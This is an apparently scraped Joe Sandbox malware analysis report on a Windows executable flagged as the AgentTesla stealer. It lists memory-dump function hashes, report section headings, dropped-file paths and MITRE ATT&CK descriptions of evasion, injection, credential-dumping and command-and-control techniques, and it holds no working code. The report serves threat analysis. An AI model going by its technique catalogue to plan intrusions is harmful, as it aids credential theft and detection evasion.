Source File: 00000005.00000002.2599845618.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6990000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 906518c74f883a585f95db6d013d447fa5db38cc38aad66671f7a9d85adac512
Instruction ID: adaf8a0cb89973b6a549f270b5e7320edc1edcf854cc10363560f66e000f5302
Opcode Fuzzy Hash: 906518c74f883a585f95db6d013d447fa5db38cc38aad66671f7a9d85adac512
Instruction Fuzzy Hash: 0F11C2B5D012199FCB00CF9AD884BDEFBB4FB49314F10812AE918B7640C3746544CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06993E60 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2599845618.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6990000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7020eb1c2c0f53268f7d78d8504c88ce5ced307bb595bda7897c6ef7d4a895b4
Instruction ID: c9fbf97f61e12b5b6d27810899c181df67ca83e3f571e5c78eac7ce7659747ec
Opcode Fuzzy Hash: 7020eb1c2c0f53268f7d78d8504c88ce5ced307bb595bda7897c6ef7d4a895b4
Instruction Fuzzy Hash: 20016931B104191BDB649AAD9464B2FA7DBDBC9724F208839E20AC7784ED62DC0243A5

Uniqueness

Uniqueness Score: -1.00%

Function 069938D0 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2599845618.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6990000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f27bbdb5d8d2f94a2743c507dca76149aef6c5ac9deade62d4e62401da8fc523
Instruction ID: 57297d4703da933e7f9b67e1a051e79af656ca869f6631a6aac0bbd4fbb1c373
Opcode Fuzzy Hash: f27bbdb5d8d2f94a2743c507dca76149aef6c5ac9deade62d4e62401da8fc523
Instruction Fuzzy Hash: 4A21CEB5D11219AFCB00CF9AD984BDEFBB4FB48314F10862AE918B7640C374A644CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 06993C08 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2599845618.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6990000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9dc2187b5fd855432da50f4123246579f6fe1ccfba33c6740bb7d1ba41bfe48a
Instruction ID: 8f1a967a2857b9b72a65df8844ce632d240938b9b1880a42c6ac4fd798531465
Opcode Fuzzy Hash: 9dc2187b5fd855432da50f4123246579f6fe1ccfba33c6740bb7d1ba41bfe48a
Instruction Fuzzy Hash: 5C01B131B105284BDF949A7DD8246AB7BEEEBC8310F50453AD509E7280EF659C0287E1

Uniqueness

Uniqueness Score: -1.00%

Function 0699EDE0 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2599845618.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6990000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e3e3a5461196540071576bcb1e0f8b47aa994297f4ef94ac85a2b3f7d535b6f
Instruction ID: 468157cb37fd5bc09aaf138cb87531497be2955a40514e612851fdd7022f34c1
Opcode Fuzzy Hash: 0e3e3a5461196540071576bcb1e0f8b47aa994297f4ef94ac85a2b3f7d535b6f
Instruction Fuzzy Hash: 2F01AF31B100145BDF65D66C9894B3FB7DAEBCA610F208439F50EC7744EE21DC0243A5

Uniqueness

Uniqueness Score: -1.00%

Function 0699A351 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2599845618.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6990000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65a58196543988fd25aa84ddf29b3f31d0b193cdbc7f124612aa77b8f1210e23
Instruction ID: e398e29dc8819e5adb5bf46b1dd931be8e43a39f959033354de0e8f87a4c1cfd
Opcode Fuzzy Hash: 65a58196543988fd25aa84ddf29b3f31d0b193cdbc7f124612aa77b8f1210e23
Instruction Fuzzy Hash: 6E018B31B100144FEB64DB3CE461B2EB3EAEB8A314F208539E50ACB790DA35DC028791

Uniqueness

Uniqueness Score: -1.00%

Function 0699A360 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2599845618.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6990000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f08e4a45a9cd070f6a8ff1111e07ece7dd6124b8ede07f8f78c18f531d9fc96
Instruction ID: 9dbc875761f940322cdc90381717548fe7606ba099e36af98908e31b512ef752
Opcode Fuzzy Hash: 9f08e4a45a9cd070f6a8ff1111e07ece7dd6124b8ede07f8f78c18f531d9fc96
Instruction Fuzzy Hash: 04018170B100185FDB60DA7CE461B2EB3DAE78A614F208539E50BD7784DE35DC028791

Uniqueness

Uniqueness Score: -1.00%

Function 06996472 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2599845618.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6990000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fab943f6ec6f74fac942980916d5eb63d7d875a420f17449b65c62bc2dbcc3af
Instruction ID: e4166de3ac20382d0dce4ea26282884f3627dd83b8aa2609bdfc62cfe328bfe7
Opcode Fuzzy Hash: fab943f6ec6f74fac942980916d5eb63d7d875a420f17449b65c62bc2dbcc3af
Instruction Fuzzy Hash: 51012B72A0A3845FEB12CF789D647893F798B03345F2644D7D084CB183E135D905C752

Uniqueness

Uniqueness Score: -1.00%

Function 0699C818 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2599845618.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6990000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 088024b8fe87d399d56bcd2c993ca7fdae84addf7f870a150bb309a332bd79a6
Instruction ID: d007a28c9b71d8f1c161b73f64340af156a6801d08d21e2aa80323caafaae1e1
Opcode Fuzzy Hash: 088024b8fe87d399d56bcd2c993ca7fdae84addf7f870a150bb309a332bd79a6
Instruction Fuzzy Hash: 1F01F471F20228DBCF58AA69EC5069EB37AEB85314F104429E905EB784DB72AC048BD0

Uniqueness

Uniqueness Score: -1.00%

Function 0699833E Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2599845618.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6990000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b3494deec1fd4c0486ac207bdbeedcd16cdcf4b95a8bc8c51657ec3ce1ad817
Instruction ID: 189b1098fe19c800f4b4c2fd812f6968b50400771a9c80afe9d51bd02be6d8a7
Opcode Fuzzy Hash: 4b3494deec1fd4c0486ac207bdbeedcd16cdcf4b95a8bc8c51657ec3ce1ad817
Instruction Fuzzy Hash: 9FF0A036A04201DFEFA44DADEB821B83768E742221F284D7ADE04D7980D63ACD41C6B0

Uniqueness

Uniqueness Score: -1.00%

Function 069946A9 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2599845618.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6990000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29e0955646ccb703afbda7de94c6381993987275481be043d06b832f4d53252c
Instruction ID: 8048d26b37cd04d2bb3b4b0248b87e16e609ee2fe150d1b21626a7de78eb43a8
Opcode Fuzzy Hash: 29e0955646ccb703afbda7de94c6381993987275481be043d06b832f4d53252c
Instruction Fuzzy Hash: A7F0DA70A21119EFDF24DF94E8597ADBBB2BF88B04F204519E402A7684CB741C46CF90

Uniqueness

Uniqueness Score: -1.00%

Function 069964C0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2599845618.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6990000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3eb8930aa85eaf97269b5899c0c8ef78ab01aaaf59dbb156fc85de883b627701
Instruction ID: 000236922d776763cee3d0ccfade86c4cc3f1001557316740b1b127454e6cc17
Opcode Fuzzy Hash: 3eb8930aa85eaf97269b5899c0c8ef78ab01aaaf59dbb156fc85de883b627701
Instruction Fuzzy Hash: 44E01271E1010DABEFA0DEF8C95575E77ADD746214F3088A5D409D7601E677DA028B60

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 06990040 Relevance: 2.0, Instructions: 1977COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2599845618.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6990000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6115b771e757ed63ec622976fde403ab4c6e5a5b2b5f60183cb46beb72b9c729
Instruction ID: d933b7e194c0e46beb85b9b2533653ff7766902b80c213a159bdb034dfd03040
Opcode Fuzzy Hash: 6115b771e757ed63ec622976fde403ab4c6e5a5b2b5f60183cb46beb72b9c729
Instruction Fuzzy Hash: 28230B31D10B198ACB11EF68C8946ADF7B5FF99300F55C79AE458B7221EB70AAC4CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0699E3E0 Relevance: .6, Instructions: 573COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2599845618.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6990000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18eb200147771faad6bfb94eed038ab42a4965a924e64967bdc9d1eff394931
Instruction ID: 38f279e01c9fdd6c1f62cd89af37b8f4540d16ae5091edca1d4d30650199816a
Opcode Fuzzy Hash: b18eb200147771faad6bfb94eed038ab42a4965a924e64967bdc9d1eff394931
Instruction Fuzzy Hash: B3229A30B102098FDF54DB6CD494AAEB7E6EF89310F248569D406DB7A2DB71EC41CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 069976E8 Relevance: .5, Instructions: 468COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2599845618.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6990000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5165ff70ed70a1d033df08678d70af3c073e531983df61f297a6a6fe5b7c141
Instruction ID: 816ac987b4e5ec4783bb69e04132b4eb85953adbbcca283acccc5ca9905ae751
Opcode Fuzzy Hash: a5165ff70ed70a1d033df08678d70af3c073e531983df61f297a6a6fe5b7c141
Instruction Fuzzy Hash: E012FB31A10219CFDF64DBA9C894AADB7B6BF89300F208569D409AB754DF719D41CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 06995930 Relevance: .4, Instructions: 403COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2599845618.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6990000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa8fad9b89f115d56d29105dcebd4a6f21185e2cc5f59dbee6b775c0bacc13da
Instruction ID: fea621e3c607619fa4e1f1873b07d03fafbacde72964359342f2c9a40d692604
Opcode Fuzzy Hash: aa8fad9b89f115d56d29105dcebd4a6f21185e2cc5f59dbee6b775c0bacc13da
Instruction Fuzzy Hash: 49D1F431B101148FDF55DB6CD4946AEBBFAFB89320F26846AD406DB791CA31DC45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02DC41F0 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2593003816.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2dc0000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d502e0cc4f599943708d9af8dfcd80fed1228d5e8c29fe5a937b0b429617826
Instruction ID: 59fd750acae5f290083dfc10e4fed789b8bfafc10b049ccb7dd820acd1f47422
Opcode Fuzzy Hash: 1d502e0cc4f599943708d9af8dfcd80fed1228d5e8c29fe5a937b0b429617826
Instruction Fuzzy Hash: 8DB14A70E1020A8FDB10CFA9D8957AEBBF2AF88714F24812DD855A7394EB749C45CF91

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Your file name without extension goes here.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Windows\appcompat\Programs\Amcache.hve

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Network Behavior

Snort IDS Alerts

Network Port Distribution

Windows Analysis Report
Your file name without extension goes here.exe

Function 02DC70A8 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Function 0699C1D0 Relevance: .6, Instructions: 632
COMMON

Function 069951F0 Relevance: .6, Instructions: 592
COMMON

Function 06997DC8 Relevance: .5, Instructions: 470
COMMON

Function 02DCF188 Relevance: 1.6, APIs: 1, Instructions: 125
COMMON

Function 02DC70A3 Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Function 02DCF258 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Function 0699CF80 Relevance: .8, Instructions: 796
COMMON

Function 0699AD18 Relevance: .4, Instructions: 391
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre